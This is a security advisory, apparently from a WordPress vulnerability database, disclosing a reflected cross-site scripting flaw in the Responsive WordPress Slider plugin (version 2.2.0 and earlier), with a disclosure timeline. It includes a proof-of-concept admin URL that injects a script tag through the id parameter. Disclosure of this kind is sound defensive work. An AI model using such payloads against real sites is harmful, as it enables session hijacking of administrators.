WordPress Plugin Vulnerabilities

Responsive WordPress Slider <= 2.2.0 - Reflected Cross-Site Scripting

Description

The plugin does not escape the id parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue.

Timeline:
August 11th, 2021 - Details sent to vendor
August 12th, 2021 - Vendor working on a patch
August 24th, 2021 - Ticket put as 'solved' on vendor side due to lack of activity
September 21st, 2021 - No updates, public disclosure

Proof of Concept

https://example.com/wp-admin/admin.php?page=motopress-slider&view=slides&id=1"><script>alert(/XSS/)</script>

Affects Plugins

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
WPScanTeam
Verified
Yes

Timeline

Publicly Published
2021-09-21 (about 2 years ago)
Added
2021-09-21 (about 2 years ago)
Last Updated
2021-09-21 (about 2 years ago)

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